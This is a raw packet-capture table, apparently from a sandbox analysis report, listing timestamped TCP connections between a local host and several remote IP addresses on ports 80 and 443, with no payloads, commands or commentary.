Nov 26, 2024 01:41:38.938944101 CET	443	49836	162.159.61.3	192.168.2.6
Nov 26, 2024 01:41:38.939026117 CET	49836	443	192.168.2.6	162.159.61.3
Nov 26, 2024 01:41:38.945709944 CET	443	49837	162.159.61.3	192.168.2.6
Nov 26, 2024 01:41:38.945775032 CET	49837	443	192.168.2.6	162.159.61.3
Nov 26, 2024 01:41:38.969316959 CET	443	49789	150.171.28.10	192.168.2.6
Nov 26, 2024 01:41:38.969384909 CET	443	49789	150.171.28.10	192.168.2.6
Nov 26, 2024 01:41:38.969399929 CET	49789	443	192.168.2.6	150.171.28.10
Nov 26, 2024 01:41:38.969944000 CET	49789	443	192.168.2.6	150.171.28.10
Nov 26, 2024 01:41:38.979855061 CET	49789	443	192.168.2.6	150.171.28.10
Nov 26, 2024 01:41:38.979871035 CET	443	49789	150.171.28.10	192.168.2.6
Nov 26, 2024 01:41:38.979881048 CET	49789	443	192.168.2.6	150.171.28.10
Nov 26, 2024 01:41:38.979980946 CET	49789	443	192.168.2.6	150.171.28.10
Nov 26, 2024 01:41:38.980274916 CET	443	49835	172.64.41.3	192.168.2.6
Nov 26, 2024 01:41:38.980329037 CET	49835	443	192.168.2.6	172.64.41.3
Nov 26, 2024 01:41:38.990417957 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:38.997066021 CET	443	49825	172.217.19.225	192.168.2.6
Nov 26, 2024 01:41:39.001070976 CET	443	49825	172.217.19.225	192.168.2.6
Nov 26, 2024 01:41:39.001121044 CET	49825	443	192.168.2.6	172.217.19.225
Nov 26, 2024 01:41:39.001147032 CET	443	49825	172.217.19.225	192.168.2.6
Nov 26, 2024 01:41:39.012707949 CET	443	49825	172.217.19.225	192.168.2.6
Nov 26, 2024 01:41:39.012757063 CET	49825	443	192.168.2.6	172.217.19.225
Nov 26, 2024 01:41:39.012774944 CET	443	49825	172.217.19.225	192.168.2.6
Nov 26, 2024 01:41:39.022402048 CET	443	49825	172.217.19.225	192.168.2.6
Nov 26, 2024 01:41:39.024348974 CET	49825	443	192.168.2.6	172.217.19.225
Nov 26, 2024 01:41:39.024370909 CET	443	49825	172.217.19.225	192.168.2.6
Nov 26, 2024 01:41:39.035032988 CET	443	49825	172.217.19.225	192.168.2.6
Nov 26, 2024 01:41:39.036350965 CET	49825	443	192.168.2.6	172.217.19.225
Nov 26, 2024 01:41:39.036370993 CET	443	49825	172.217.19.225	192.168.2.6
Nov 26, 2024 01:41:39.048749924 CET	443	49825	172.217.19.225	192.168.2.6
Nov 26, 2024 01:41:39.049139977 CET	49825	443	192.168.2.6	172.217.19.225
Nov 26, 2024 01:41:39.049154043 CET	443	49825	172.217.19.225	192.168.2.6
Nov 26, 2024 01:41:39.062412977 CET	443	49825	172.217.19.225	192.168.2.6
Nov 26, 2024 01:41:39.062454939 CET	49825	443	192.168.2.6	172.217.19.225
Nov 26, 2024 01:41:39.062470913 CET	443	49825	172.217.19.225	192.168.2.6
Nov 26, 2024 01:41:39.063328028 CET	49866	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:39.063369036 CET	443	49866	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:39.063481092 CET	49866	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:39.063525915 CET	49867	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:39.063558102 CET	443	49867	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:39.063606977 CET	49867	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:39.064125061 CET	49867	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:39.064140081 CET	443	49867	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:39.064251900 CET	49866	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:39.064263105 CET	443	49866	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:39.110260963 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:39.115721941 CET	443	49833	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:39.121094942 CET	443	49825	172.217.19.225	192.168.2.6
Nov 26, 2024 01:41:39.121143103 CET	49825	443	192.168.2.6	172.217.19.225
Nov 26, 2024 01:41:39.121166945 CET	443	49825	172.217.19.225	192.168.2.6
Nov 26, 2024 01:41:39.124723911 CET	49833	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:39.124756098 CET	443	49833	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:39.125778913 CET	49833	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:39.125787973 CET	443	49833	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:39.129460096 CET	443	49825	172.217.19.225	192.168.2.6
Nov 26, 2024 01:41:39.129507065 CET	49825	443	192.168.2.6	172.217.19.225
Nov 26, 2024 01:41:39.129522085 CET	443	49825	172.217.19.225	192.168.2.6
Nov 26, 2024 01:41:39.201657057 CET	443	49825	172.217.19.225	192.168.2.6
Nov 26, 2024 01:41:39.201711893 CET	49825	443	192.168.2.6	172.217.19.225
Nov 26, 2024 01:41:39.201738119 CET	443	49825	172.217.19.225	192.168.2.6
Nov 26, 2024 01:41:39.208872080 CET	443	49825	172.217.19.225	192.168.2.6
Nov 26, 2024 01:41:39.208915949 CET	49825	443	192.168.2.6	172.217.19.225
Nov 26, 2024 01:41:39.208939075 CET	443	49825	172.217.19.225	192.168.2.6
Nov 26, 2024 01:41:39.215441942 CET	443	49825	172.217.19.225	192.168.2.6
Nov 26, 2024 01:41:39.215512037 CET	49825	443	192.168.2.6	172.217.19.225
Nov 26, 2024 01:41:39.215528965 CET	443	49825	172.217.19.225	192.168.2.6
Nov 26, 2024 01:41:39.226602077 CET	443	49825	172.217.19.225	192.168.2.6
Nov 26, 2024 01:41:39.226669073 CET	49825	443	192.168.2.6	172.217.19.225
Nov 26, 2024 01:41:39.226685047 CET	443	49825	172.217.19.225	192.168.2.6
Nov 26, 2024 01:41:39.235044956 CET	443	49825	172.217.19.225	192.168.2.6
Nov 26, 2024 01:41:39.235101938 CET	49825	443	192.168.2.6	172.217.19.225
Nov 26, 2024 01:41:39.235120058 CET	443	49825	172.217.19.225	192.168.2.6
Nov 26, 2024 01:41:39.247262001 CET	443	49825	172.217.19.225	192.168.2.6
Nov 26, 2024 01:41:39.247317076 CET	49825	443	192.168.2.6	172.217.19.225
Nov 26, 2024 01:41:39.247330904 CET	443	49825	172.217.19.225	192.168.2.6
Nov 26, 2024 01:41:39.260860920 CET	443	49825	172.217.19.225	192.168.2.6
Nov 26, 2024 01:41:39.260905981 CET	49825	443	192.168.2.6	172.217.19.225
Nov 26, 2024 01:41:39.260921955 CET	443	49825	172.217.19.225	192.168.2.6
Nov 26, 2024 01:41:39.274574995 CET	443	49825	172.217.19.225	192.168.2.6
Nov 26, 2024 01:41:39.274627924 CET	49825	443	192.168.2.6	172.217.19.225
Nov 26, 2024 01:41:39.274650097 CET	443	49825	172.217.19.225	192.168.2.6
Nov 26, 2024 01:41:39.279047966 CET	443	49834	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:39.279593945 CET	49834	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:39.279616117 CET	443	49834	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:39.281819105 CET	49834	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:39.281824112 CET	443	49834	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:39.288085938 CET	443	49825	172.217.19.225	192.168.2.6
Nov 26, 2024 01:41:39.288132906 CET	49825	443	192.168.2.6	172.217.19.225
Nov 26, 2024 01:41:39.288150072 CET	443	49825	172.217.19.225	192.168.2.6
Nov 26, 2024 01:41:39.300831079 CET	443	49825	172.217.19.225	192.168.2.6
Nov 26, 2024 01:41:39.300915956 CET	49825	443	192.168.2.6	172.217.19.225
Nov 26, 2024 01:41:39.300930977 CET	443	49825	172.217.19.225	192.168.2.6
Nov 26, 2024 01:41:39.312589884 CET	443	49825	172.217.19.225	192.168.2.6
Nov 26, 2024 01:41:39.312665939 CET	49825	443	192.168.2.6	172.217.19.225
Nov 26, 2024 01:41:39.312679052 CET	443	49825	172.217.19.225	192.168.2.6
Nov 26, 2024 01:41:39.324419975 CET	443	49825	172.217.19.225	192.168.2.6
Nov 26, 2024 01:41:39.324459076 CET	49825	443	192.168.2.6	172.217.19.225
Nov 26, 2024 01:41:39.324471951 CET	443	49825	172.217.19.225	192.168.2.6
Nov 26, 2024 01:41:39.335422993 CET	443	49825	172.217.19.225	192.168.2.6
Nov 26, 2024 01:41:39.335465908 CET	49825	443	192.168.2.6	172.217.19.225
Nov 26, 2024 01:41:39.335479021 CET	443	49825	172.217.19.225	192.168.2.6
Nov 26, 2024 01:41:39.347950935 CET	443	49825	172.217.19.225	192.168.2.6
Nov 26, 2024 01:41:39.348004103 CET	49825	443	192.168.2.6	172.217.19.225
Nov 26, 2024 01:41:39.348016977 CET	443	49825	172.217.19.225	192.168.2.6
Nov 26, 2024 01:41:39.372838020 CET	443	49825	172.217.19.225	192.168.2.6
Nov 26, 2024 01:41:39.372890949 CET	49825	443	192.168.2.6	172.217.19.225
Nov 26, 2024 01:41:39.372904062 CET	443	49825	172.217.19.225	192.168.2.6
Nov 26, 2024 01:41:39.375046968 CET	443	49825	172.217.19.225	192.168.2.6
Nov 26, 2024 01:41:39.375207901 CET	49825	443	192.168.2.6	172.217.19.225
Nov 26, 2024 01:41:39.375221014 CET	443	49825	172.217.19.225	192.168.2.6
Nov 26, 2024 01:41:39.399411917 CET	443	49825	172.217.19.225	192.168.2.6
Nov 26, 2024 01:41:39.399528027 CET	443	49825	172.217.19.225	192.168.2.6
Nov 26, 2024 01:41:39.399580956 CET	49825	443	192.168.2.6	172.217.19.225
Nov 26, 2024 01:41:39.399595976 CET	443	49825	172.217.19.225	192.168.2.6
Nov 26, 2024 01:41:39.399636030 CET	49825	443	192.168.2.6	172.217.19.225
Nov 26, 2024 01:41:39.401545048 CET	443	49825	172.217.19.225	192.168.2.6
Nov 26, 2024 01:41:39.405867100 CET	443	49825	172.217.19.225	192.168.2.6
Nov 26, 2024 01:41:39.405909061 CET	49825	443	192.168.2.6	172.217.19.225
Nov 26, 2024 01:41:39.405921936 CET	443	49825	172.217.19.225	192.168.2.6
Nov 26, 2024 01:41:39.409671068 CET	443	49825	172.217.19.225	192.168.2.6
Nov 26, 2024 01:41:39.409710884 CET	49825	443	192.168.2.6	172.217.19.225
Nov 26, 2024 01:41:39.409723043 CET	443	49825	172.217.19.225	192.168.2.6
Nov 26, 2024 01:41:39.414593935 CET	443	49825	172.217.19.225	192.168.2.6
Nov 26, 2024 01:41:39.415175915 CET	49825	443	192.168.2.6	172.217.19.225
Nov 26, 2024 01:41:39.415186882 CET	443	49825	172.217.19.225	192.168.2.6
Nov 26, 2024 01:41:39.421854973 CET	443	49825	172.217.19.225	192.168.2.6
Nov 26, 2024 01:41:39.421900034 CET	49825	443	192.168.2.6	172.217.19.225
Nov 26, 2024 01:41:39.421912909 CET	443	49825	172.217.19.225	192.168.2.6
Nov 26, 2024 01:41:39.429380894 CET	443	49825	172.217.19.225	192.168.2.6
Nov 26, 2024 01:41:39.429644108 CET	49825	443	192.168.2.6	172.217.19.225
Nov 26, 2024 01:41:39.429656029 CET	443	49825	172.217.19.225	192.168.2.6
Nov 26, 2024 01:41:39.436953068 CET	443	49825	172.217.19.225	192.168.2.6
Nov 26, 2024 01:41:39.437020063 CET	49825	443	192.168.2.6	172.217.19.225
Nov 26, 2024 01:41:39.437032938 CET	443	49825	172.217.19.225	192.168.2.6
Nov 26, 2024 01:41:39.443566084 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:39.443619967 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:39.443629980 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:39.443629980 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:39.443643093 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:39.443659067 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:39.443691969 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:39.443698883 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:39.443741083 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:39.443742990 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:39.443753004 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:39.443804979 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:39.443902016 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:39.443952084 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:39.444505930 CET	443	49825	172.217.19.225	192.168.2.6
Nov 26, 2024 01:41:39.444600105 CET	49825	443	192.168.2.6	172.217.19.225
Nov 26, 2024 01:41:39.444612026 CET	443	49825	172.217.19.225	192.168.2.6
Nov 26, 2024 01:41:39.452070951 CET	443	49825	172.217.19.225	192.168.2.6
Nov 26, 2024 01:41:39.452114105 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:39.452136040 CET	49825	443	192.168.2.6	172.217.19.225
Nov 26, 2024 01:41:39.452147961 CET	443	49825	172.217.19.225	192.168.2.6
Nov 26, 2024 01:41:39.452156067 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:39.452202082 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:39.452227116 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:39.457257032 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:39.457318068 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:39.457402945 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:39.457446098 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:39.459556103 CET	443	49825	172.217.19.225	192.168.2.6
Nov 26, 2024 01:41:39.459624052 CET	49825	443	192.168.2.6	172.217.19.225
Nov 26, 2024 01:41:39.459640026 CET	443	49825	172.217.19.225	192.168.2.6
Nov 26, 2024 01:41:39.467091084 CET	443	49825	172.217.19.225	192.168.2.6
Nov 26, 2024 01:41:39.467243910 CET	49825	443	192.168.2.6	172.217.19.225
Nov 26, 2024 01:41:39.467259884 CET	443	49825	172.217.19.225	192.168.2.6
Nov 26, 2024 01:41:39.489850998 CET	443	49838	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:39.490634918 CET	443	49825	172.217.19.225	192.168.2.6
Nov 26, 2024 01:41:39.490686893 CET	49825	443	192.168.2.6	172.217.19.225
Nov 26, 2024 01:41:39.490703106 CET	443	49825	172.217.19.225	192.168.2.6
Nov 26, 2024 01:41:39.491395950 CET	49838	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:39.491411924 CET	443	49838	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:39.491888046 CET	49838	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:39.491892099 CET	443	49838	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:39.492400885 CET	443	49825	172.217.19.225	192.168.2.6
Nov 26, 2024 01:41:39.492441893 CET	49825	443	192.168.2.6	172.217.19.225
Nov 26, 2024 01:41:39.492455006 CET	443	49825	172.217.19.225	192.168.2.6
Nov 26, 2024 01:41:39.495023966 CET	443	49825	172.217.19.225	192.168.2.6
Nov 26, 2024 01:41:39.495184898 CET	49825	443	192.168.2.6	172.217.19.225
Nov 26, 2024 01:41:39.495197058 CET	443	49825	172.217.19.225	192.168.2.6
Nov 26, 2024 01:41:39.498437881 CET	443	49839	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:39.498800039 CET	49839	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:39.498817921 CET	443	49839	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:39.499866962 CET	443	49825	172.217.19.225	192.168.2.6
Nov 26, 2024 01:41:39.499916077 CET	49825	443	192.168.2.6	172.217.19.225
Nov 26, 2024 01:41:39.499927998 CET	443	49825	172.217.19.225	192.168.2.6
Nov 26, 2024 01:41:39.500981092 CET	49839	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:39.500987053 CET	443	49839	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:39.511744022 CET	443	49825	172.217.19.225	192.168.2.6
Nov 26, 2024 01:41:39.511785984 CET	49825	443	192.168.2.6	172.217.19.225
Nov 26, 2024 01:41:39.511804104 CET	443	49825	172.217.19.225	192.168.2.6
Nov 26, 2024 01:41:39.523569107 CET	443	49825	172.217.19.225	192.168.2.6
Nov 26, 2024 01:41:39.523618937 CET	49825	443	192.168.2.6	172.217.19.225
Nov 26, 2024 01:41:39.523629904 CET	443	49825	172.217.19.225	192.168.2.6
Nov 26, 2024 01:41:39.535972118 CET	443	49825	172.217.19.225	192.168.2.6
Nov 26, 2024 01:41:39.536062002 CET	49825	443	192.168.2.6	172.217.19.225
Nov 26, 2024 01:41:39.536076069 CET	443	49825	172.217.19.225	192.168.2.6
Nov 26, 2024 01:41:39.538537025 CET	443	49825	172.217.19.225	192.168.2.6
Nov 26, 2024 01:41:39.538588047 CET	49825	443	192.168.2.6	172.217.19.225
Nov 26, 2024 01:41:39.538599968 CET	443	49825	172.217.19.225	192.168.2.6
Nov 26, 2024 01:41:39.541101933 CET	443	49825	172.217.19.225	192.168.2.6
Nov 26, 2024 01:41:39.541162014 CET	49825	443	192.168.2.6	172.217.19.225
Nov 26, 2024 01:41:39.541173935 CET	443	49825	172.217.19.225	192.168.2.6
Nov 26, 2024 01:41:39.547058105 CET	443	49825	172.217.19.225	192.168.2.6
Nov 26, 2024 01:41:39.547121048 CET	49825	443	192.168.2.6	172.217.19.225
Nov 26, 2024 01:41:39.547132969 CET	443	49825	172.217.19.225	192.168.2.6
Nov 26, 2024 01:41:39.548665047 CET	443	49825	172.217.19.225	192.168.2.6
Nov 26, 2024 01:41:39.548717022 CET	49825	443	192.168.2.6	172.217.19.225
Nov 26, 2024 01:41:39.548727989 CET	443	49825	172.217.19.225	192.168.2.6
Nov 26, 2024 01:41:39.550412893 CET	443	49833	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:39.550510883 CET	443	49833	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:39.550849915 CET	49833	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:39.551043987 CET	49833	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:39.551064014 CET	443	49833	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:39.551067114 CET	49833	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:39.551074982 CET	443	49833	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:39.553937912 CET	49868	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:39.553976059 CET	443	49868	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:39.554111958 CET	49868	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:39.554308891 CET	49868	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:39.554320097 CET	443	49868	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:39.563604116 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:39.563694000 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:39.563723087 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:39.563724041 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:39.567706108 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:39.567759037 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:39.571994066 CET	443	49825	172.217.19.225	192.168.2.6
Nov 26, 2024 01:41:39.572022915 CET	443	49825	172.217.19.225	192.168.2.6
Nov 26, 2024 01:41:39.572057009 CET	49825	443	192.168.2.6	172.217.19.225
Nov 26, 2024 01:41:39.572069883 CET	443	49825	172.217.19.225	192.168.2.6
Nov 26, 2024 01:41:39.572104931 CET	49825	443	192.168.2.6	172.217.19.225
Nov 26, 2024 01:41:39.573101997 CET	443	49825	172.217.19.225	192.168.2.6
Nov 26, 2024 01:41:39.576075077 CET	443	49825	172.217.19.225	192.168.2.6
Nov 26, 2024 01:41:39.576147079 CET	49825	443	192.168.2.6	172.217.19.225
Nov 26, 2024 01:41:39.576159000 CET	443	49825	172.217.19.225	192.168.2.6
Nov 26, 2024 01:41:39.577699900 CET	49869	443	192.168.2.6	162.159.61.3
Nov 26, 2024 01:41:39.577739000 CET	443	49869	162.159.61.3	192.168.2.6
Nov 26, 2024 01:41:39.577826023 CET	49869	443	192.168.2.6	162.159.61.3
Nov 26, 2024 01:41:39.578075886 CET	443	49825	172.217.19.225	192.168.2.6
Nov 26, 2024 01:41:39.578231096 CET	443	49825	172.217.19.225	192.168.2.6
Nov 26, 2024 01:41:39.578279018 CET	49825	443	192.168.2.6	172.217.19.225
Nov 26, 2024 01:41:39.578394890 CET	49869	443	192.168.2.6	162.159.61.3
Nov 26, 2024 01:41:39.578412056 CET	443	49869	162.159.61.3	192.168.2.6
Nov 26, 2024 01:41:39.578474045 CET	49825	443	192.168.2.6	172.217.19.225
Nov 26, 2024 01:41:39.578485966 CET	443	49825	172.217.19.225	192.168.2.6
Nov 26, 2024 01:41:39.608985901 CET	443	49842	162.159.61.3	192.168.2.6
Nov 26, 2024 01:41:39.609133959 CET	49842	443	192.168.2.6	162.159.61.3
Nov 26, 2024 01:41:39.610646009 CET	443	49841	162.159.61.3	192.168.2.6
Nov 26, 2024 01:41:39.610722065 CET	49841	443	192.168.2.6	162.159.61.3
Nov 26, 2024 01:41:39.644795895 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:39.644860029 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:39.644941092 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:39.644982100 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:39.648715019 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:39.648775101 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:39.648809910 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:39.648849964 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:39.656497955 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:39.656716108 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:39.658262014 CET	49870	443	192.168.2.6	162.159.61.3
Nov 26, 2024 01:41:39.658303976 CET	443	49870	162.159.61.3	192.168.2.6
Nov 26, 2024 01:41:39.658399105 CET	49870	443	192.168.2.6	162.159.61.3
Nov 26, 2024 01:41:39.658751965 CET	49870	443	192.168.2.6	162.159.61.3
Nov 26, 2024 01:41:39.658767939 CET	443	49870	162.159.61.3	192.168.2.6
Nov 26, 2024 01:41:39.662957907 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:39.663011074 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:39.663026094 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:39.663064003 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:39.668709040 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:39.668720961 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:39.668760061 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:39.668792963 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:39.675020933 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:39.675144911 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:39.675168991 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:39.675208092 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:39.682863951 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:39.682960033 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:39.683010101 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:39.690668106 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:39.690752029 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:39.690784931 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:39.690834999 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:39.698373079 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:39.698450089 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:39.698538065 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:39.698594093 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:39.706232071 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:39.706315041 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:39.706336021 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:39.706562996 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:39.712759972 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:39.712822914 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:39.712842941 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:39.712888002 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:39.719202042 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:39.719288111 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:39.719310999 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:39.719358921 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:39.733875036 CET	443	49834	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:39.734054089 CET	443	49834	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:39.734121084 CET	49834	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:39.745237112 CET	49834	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:39.745265007 CET	443	49834	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:39.745275021 CET	49834	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:39.745280981 CET	443	49834	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:39.755927086 CET	49871	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:39.755974054 CET	443	49871	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:39.756308079 CET	49871	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:39.763889074 CET	49871	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:39.763921976 CET	443	49871	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:39.768830061 CET	443	49854	162.159.61.3	192.168.2.6
Nov 26, 2024 01:41:39.778107882 CET	443	49857	162.159.61.3	192.168.2.6
Nov 26, 2024 01:41:39.779947996 CET	49854	443	192.168.2.6	162.159.61.3
Nov 26, 2024 01:41:39.779968023 CET	443	49854	162.159.61.3	192.168.2.6
Nov 26, 2024 01:41:39.780222893 CET	49857	443	192.168.2.6	162.159.61.3
Nov 26, 2024 01:41:39.780230045 CET	443	49857	162.159.61.3	192.168.2.6
Nov 26, 2024 01:41:39.781016111 CET	443	49854	162.159.61.3	192.168.2.6
Nov 26, 2024 01:41:39.781071901 CET	49854	443	192.168.2.6	162.159.61.3
Nov 26, 2024 01:41:39.783777952 CET	443	49857	162.159.61.3	192.168.2.6
Nov 26, 2024 01:41:39.783878088 CET	49857	443	192.168.2.6	162.159.61.3
Nov 26, 2024 01:41:39.783941031 CET	49854	443	192.168.2.6	162.159.61.3
Nov 26, 2024 01:41:39.784010887 CET	443	49854	162.159.61.3	192.168.2.6
Nov 26, 2024 01:41:39.784629107 CET	49854	443	192.168.2.6	162.159.61.3
Nov 26, 2024 01:41:39.784637928 CET	443	49854	162.159.61.3	192.168.2.6
Nov 26, 2024 01:41:39.784936905 CET	49857	443	192.168.2.6	162.159.61.3
Nov 26, 2024 01:41:39.785064936 CET	49857	443	192.168.2.6	162.159.61.3
Nov 26, 2024 01:41:39.785115957 CET	443	49857	162.159.61.3	192.168.2.6
Nov 26, 2024 01:41:39.794536114 CET	443	49849	172.64.41.3	192.168.2.6
Nov 26, 2024 01:41:39.794631958 CET	49849	443	192.168.2.6	172.64.41.3
Nov 26, 2024 01:41:39.813628912 CET	443	49855	162.159.61.3	192.168.2.6
Nov 26, 2024 01:41:39.814701080 CET	49855	443	192.168.2.6	162.159.61.3
Nov 26, 2024 01:41:39.814723969 CET	443	49855	162.159.61.3	192.168.2.6
Nov 26, 2024 01:41:39.815725088 CET	443	49855	162.159.61.3	192.168.2.6
Nov 26, 2024 01:41:39.815785885 CET	49855	443	192.168.2.6	162.159.61.3
Nov 26, 2024 01:41:39.816292048 CET	443	49856	162.159.61.3	192.168.2.6
Nov 26, 2024 01:41:39.816303968 CET	49855	443	192.168.2.6	162.159.61.3
Nov 26, 2024 01:41:39.816371918 CET	443	49855	162.159.61.3	192.168.2.6
